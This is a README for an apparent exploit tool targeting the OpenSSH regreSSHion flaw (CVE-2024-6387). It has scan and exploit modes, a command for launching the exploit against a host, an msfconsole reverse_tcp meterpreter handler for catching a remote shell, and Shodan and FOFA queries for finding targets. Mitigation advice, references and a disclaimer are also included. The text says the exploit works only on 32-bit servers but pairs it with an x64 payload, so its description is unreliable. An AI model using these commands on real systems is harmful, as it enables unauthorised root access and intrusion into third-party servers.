CVE-2024-6387.py - PoC

Important Notes!!!

The exploit works ONLY for 32-bit OpenSSH-Servers. This is due to the POC uses 32-bit pointers! It is also known that some versions are already patched, and not every server is vulnerable. Tested on: Kali Linux, ParrotSec, Ubuntu 22.04

📜 Description

Remote Unauthenticated Code Execution Vulnerability in OpenSSH server

CVE-2024-6387.py is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH, specifically targeting the recently discovered regreSSHion vulnerability (CVE-2024-6387). This script facilitates rapid scanning of multiple IP addresses, domain names, and CIDR network ranges to detect potential vulnerabilities and ensure your infrastructure is secure.

A signal handler race condition was found in OpenSSH's server (sshd), where a client does not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH versions), then sshd's SIGALRM handler is called asynchronously. However, this signal handler calls various functions that are not async-signal-safe, for example, syslog().

📁 Table of Contents

• 📖 Details
• 🌟 Features
• ⚙️ Usage
• O Output
• 🔍 Host Discovery
• 🛠️ Mitigation
• 💁 References
• 📌 Author
• 📢 Disclaimer

✍🏻 Details

You can find the technical details here.

The flaw, discovered by researchers at Qualys in May 2024, and assigned the identifier CVE-2024-6387, is due to a signal handler race condition in sshd that allows unauthenticated remote attackers to execute arbitrary code as root.

"If a client does not authenticate within LoginGraceTime seconds (120 by default), then sshd's SIGALRM handler is called asynchronously and calls various functions that are not async-signal-safe,"

"A remote unauthenticated attacker can take advantage of this flaw to execute arbitrary code with root privileges."

🌟 Features

• Rapid Scanning: Quickly scan multiple IP addresses, domain names, and CIDR ranges for the CVE-2024-6387 vulnerability.
• Banner Retrieval: Efficiently retrieves SSH banners without authentication.
• Grace Time Detection: Optionally detect if servers have mitigated vulnerabilities using the LoginGraceTime setting.
• IPv6 Support: Fully supports IPv6 addresses for both direct and hostname-based scanning.
• Multi-threading: Uses threading for concurrent checks, significantly reducing scan times.
• Detailed Output: Provides clear, emoji-coded output summarizing scan results.
• Port Check: Identifies closed ports and provides a summary of non-responsive hosts.
• Patched Versions Detection: Recognizes and excludes known patched versions from vulnerability reports.

⚙️ Usage

Scanning OpenSSH Server

Requirement: python3 latest

### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames

Examples

Scanning a single URL/IP

python3 CVE-2024-6387.py scan -T example.com -p 22

Running the exploit into one domain / ip

python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0

Escalation Process

Catching payload

All you have to do is to run the command below first (change the {yourip} handler) and run the exploit afterwards with the command above

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

Output

The tool provides color-coded output to the console for better readability:

Green: Successful connection or operation. Red: Failed connection or error. Yellow: Warnings or noteworthy information. Cyan: General information or status updates.

🔍 Host Discovery

• Hunter: /product.name="OpenSSH"
• FOFA: app="OpenSSH"
• SHODAN: product:"OpenSSH"
• CENSYS: (openssh) and labels=remote-access

🛠️ Mitigation

• Patch Management: Swiftly applying available patches for OpenSSH is critical to closing the vulnerability gap. Timely patching ensures that known exploits cannot be leveraged against your systems, thereby reducing the window of opportunity for attackers.

• Enhanced Access Control: Limiting SSH access through network-based controls adds an additional layer of defense. This approach minimizes exposure to potential attackers by restricting SSH connections to only authorized networks or IP addresses. Implementing tools like firewall rules or using VPNs for secure access can effectively enforce these restrictions.

• Network Segmentation: Dividing your network into segments helps contain the impact of a potential breach. By segmenting critical systems and sensitive data from less critical parts of your network, you reduce the risk of lateral movement by attackers. This segmentation can be complemented with strict access controls and monitoring to detect and respond to any unauthorized attempts to breach these segments.

• Intrusion Detection Systems (IDS): Deploying IDS or intrusion prevention systems (IPS) enables real-time monitoring of network traffic and system logs. These systems can detect suspicious activities and potential exploitation attempts associated with the regreSSHion vulnerability. Alerts triggered by such systems allow for prompt investigation and mitigation before significant damage can occur.

• Monitoring for Exploitation Attempts: Continuous monitoring of network and system logs is crucial. Look for any unusual patterns or activities that could indicate an attempt to exploit the OpenSSH vulnerability. This proactive approach helps in identifying and responding to threats before they can cause harm.

💁 References

• Original Author: CVE-2024-6387 Scanner
• Original Author: CVE-2024-6387 PoC

Further Referencess

• http://www.openwall.com/lists/oss-security/2024/07/01/12
• https://access.redhat.com/security/cve/CVE-2024-6387
• https://bugzilla.redhat.com/show_bug.cgi?id=2294604
• https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
• https://github.com/zgzhang/cve-2024-6387-poc
• https://ubuntu.com/security/CVE-2024-6387
• https://ubuntu.com/security/notices/USN-6859-1
• https://www.suse.com/security/cve/CVE-2024-6387.html
• https://explore.alas.aws.amazon.com/CVE-2024-6387.html
• https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
• https://www.openssh.com/txt/release-9.8
• https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
• https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
• https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
• https://www.theregister.com/2024/07/01/regresshion_openssh/
• https://news.ycombinator.com/item?id=40843778
• https://security-tracker.debian.org/tracker/CVE-2024-6387
• oracle/oracle-linux#149
• rapier1/hpn-ssh#87
• https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
• https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
• http://www.openwall.com/lists/oss-security/2024/07/01/13
• https://security.netapp.com/advisory/ntap-20240701-0001/

📢 Disclaimer

• Important Note:
  • This tool is developed and used solely for authorized penetration testing and red teaming exercises only. It is designed to identify and exploit vulnerabilities in OpenSSH's server, on glibc-based Linux systems. Unauthorized use of this tool is strictly prohibited, The owner of this tool is not responsible for any unauthorized access or malicious use of the tool.
• Legal Notice:
  • Unauthorized use of this tool on systems or networks without explicit authorization from the respective owners may violate applicable laws and regulations. Users are responsible for ensuring compliance with legal and ethical standards governing cybersecurity testing and assessments.